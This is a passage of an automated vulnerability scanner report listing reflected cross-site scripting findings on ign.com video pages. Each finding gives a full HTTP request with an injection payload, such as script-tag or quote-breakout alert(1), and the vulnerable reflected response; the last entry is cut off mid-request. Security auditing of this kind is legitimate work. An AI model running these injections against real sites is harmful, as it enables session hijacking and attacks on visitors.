Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:55 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=3f58971ad52585f499ba15d053c28545; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f102045525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 85697

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
xmlns:og="http://ope
...[SNIP]...
<div id="videopageurl" class="toClipboard" style="display:none">http://www.ign.com/videos/2010/12/16/portal-2-co-op-trailer-2?c188d<script>alert(1)</script>0f44ec739a3=1</div>
...[SNIP]...

3.607. http://www.ign.com/videos/2010/12/16/portal-2-co-op-trailer-2 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2010/12/16/portal-2-co-op-trailer-2

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b5e72'-alert(1)-'fb7bf9b2c6b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2010/12/16/portal-2-co-op-trailer-2?b5e72'-alert(1)-'fb7bf9b2c6b=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:10:54 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:54 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=cd5a9144e50be2c2f493de3df311e904; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f100e45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 85652

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
fter(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2010/12/16/portal-2-co-op-trailer-2?b5e72'-alert(1)-'fb7bf9b2c6b=1';
   }
   </script>
...[SNIP]...

3.608. http://www.ign.com/videos/2010/12/16/portal-2-co-op-trailer-2 [objectid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2010/12/16/portal-2-co-op-trailer-2

Issue detail

The value of the objectid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 331cf'%3balert(1)//27821dc0065 was submitted in the objectid parameter. This input was echoed as 331cf';alert(1)//27821dc0065 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2010/12/16/portal-2-co-op-trailer-2?objectid=64330331cf'%3balert(1)//27821dc0065 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:11:06 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:11:06 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=162b6ab4f8230fec612acd7eb0d2d8e1; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103345525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 86075

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
xmlns:og="http://ope
...[SNIP]...
r.ignimgs.com\/static\/ignmedia\/js\/ZeroClipboard.swf");
var url = '/videos/nextup/4d0a5e20dad0bd41690004ac?objType=games&platform=xbox-360&classification=trailer&context=64330331cf';alert(1)//27821dc0065';
$j.get(url, function(data){
$j("#nextup .hdr-nextup").after(data);
});
}
</script>
...[SNIP]...

3.609. http://www.ign.com/videos/2010/12/16/portal-2-co-op-trailer-2 [objectid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2010/12/16/portal-2-co-op-trailer-2

Issue detail

The value of the objectid request parameter is copied into the HTML document as plain text between tags. The payload b8706<script>alert(1)</script>a0d5aeef589 was submitted in the objectid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /videos/2010/12/16/portal-2-co-op-trailer-2?objectid=64330b8706<script>alert(1)</script>a0d5aeef589 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:11:07 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:11:07 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=0505e196f7a030d13f2a71cbfc32100c; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f100e45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 86323

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
xmlns:og="http://ope
...[SNIP]...
<div id="videopageurl" class="toClipboard" style="display:none">http://www.ign.com/videos/2010/12/16/portal-2-co-op-trailer-2?objectid=64330b8706<script>alert(1)</script>a0d5aeef589</div>
...[SNIP]...

3.610. http://www.ign.com/videos/2011/01/19/gt-academy-promotion [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/19/gt-academy-promotion

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 63def'-alert(1)-'c59b5708b72 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/01/19/gt-academy-promotion63def'-alert(1)-'c59b5708b72 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:10:19 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:19 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=09922f73f7fd8e77031a249d4a36adc0; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f102145525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 44519

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
e").after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/01/19/gt-academy-promotion63def'-alert(1)-'c59b5708b72';
   }
   </script>
...[SNIP]...

3.611. http://www.ign.com/videos/2011/01/19/gt-academy-promotion [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/19/gt-academy-promotion

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload c3013<script>alert(1)</script>2375caca214 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /videos/2011/01/19/gt-academy-promotion?c3013<script>alert(1)</script>2375caca214=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:08:36 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:08:36 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=633d227ff5c435d4b83b1f4fc53f401d; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f100e45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 79233

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
xmlns:og="http://ope
...[SNIP]...
<div id="videopageurl" class="toClipboard" style="display:none">http://www.ign.com/videos/2011/01/19/gt-academy-promotion?c3013<script>alert(1)</script>2375caca214=1</div>
...[SNIP]...

3.612. http://www.ign.com/videos/2011/01/19/gt-academy-promotion [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/19/gt-academy-promotion

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 56cbf'-alert(1)-'b74f9d84d5c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/01/19/gt-academy-promotion?56cbf'-alert(1)-'b74f9d84d5c=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:08:28 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:08:28 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=3b8420373ad4bf33447fc093cb2bcce4; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103045525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 79188

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
").after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/01/19/gt-academy-promotion?56cbf'-alert(1)-'b74f9d84d5c=1';
   }
   </script>
...[SNIP]...

3.613. http://www.ign.com/videos/2011/01/21/dragon-age-2-ser-isaac-of-clarke-trailer [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/21/dragon-age-2-ser-isaac-of-clarke-trailer

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload de584'-alert(1)-'fb3ef68aa42 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/01/21/dragon-age-2-ser-isaac-of-clarke-trailerde584'-alert(1)-'fb3ef68aa42 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:08:49 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:08:49 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=62766346fc9e7623c5f22e92e684d0af; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103f45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 44551

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
});//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/01/21/dragon-age-2-ser-isaac-of-clarke-trailerde584'-alert(1)-'fb3ef68aa42';
   }
   </script>
...[SNIP]...

3.614. http://www.ign.com/videos/2011/01/21/dragon-age-2-ser-isaac-of-clarke-trailer [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/21/dragon-age-2-ser-isaac-of-clarke-trailer

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 88dd0'-alert(1)-'392bc44c2b8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/01/21/dragon-age-2-ser-isaac-of-clarke-trailer?88dd0'-alert(1)-'392bc44c2b8=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:05:54 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:05:54 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=1a1a9c0cddb221a68d921a2151a37823; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103e45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 85892

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
);//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/01/21/dragon-age-2-ser-isaac-of-clarke-trailer?88dd0'-alert(1)-'392bc44c2b8=1';
   }
   </script>
...[SNIP]...

3.615. http://www.ign.com/videos/2011/01/21/dragon-age-2-ser-isaac-of-clarke-trailer [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/21/dragon-age-2-ser-isaac-of-clarke-trailer

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload a109b<script>alert(1)</script>10e940292e4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /videos/2011/01/21/dragon-age-2-ser-isaac-of-clarke-trailer?a109b<script>alert(1)</script>10e940292e4=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:05:57 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:05:57 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=9934c2504b401f7af8504909c44e8ffc; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103345525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 85937

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
xmlns:og="http://ope
...[SNIP]...
<div id="videopageurl" class="toClipboard" style="display:none">http://www.ign.com/videos/2011/01/21/dragon-age-2-ser-isaac-of-clarke-trailer?a109b<script>alert(1)</script>10e940292e4=1</div>
...[SNIP]...

3.616. http://www.ign.com/videos/2011/01/21/dragon-age-2-ser-isaac-of-clarke-trailer [objectid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/21/dragon-age-2-ser-isaac-of-clarke-trailer

Issue detail

The value of the objectid request parameter is copied into the HTML document as plain text between tags. The payload 958a8<script>alert(1)</script>3e939fec94a was submitted in the objectid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /videos/2011/01/21/dragon-age-2-ser-isaac-of-clarke-trailer?objectid=80342958a8<script>alert(1)</script>3e939fec94a HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
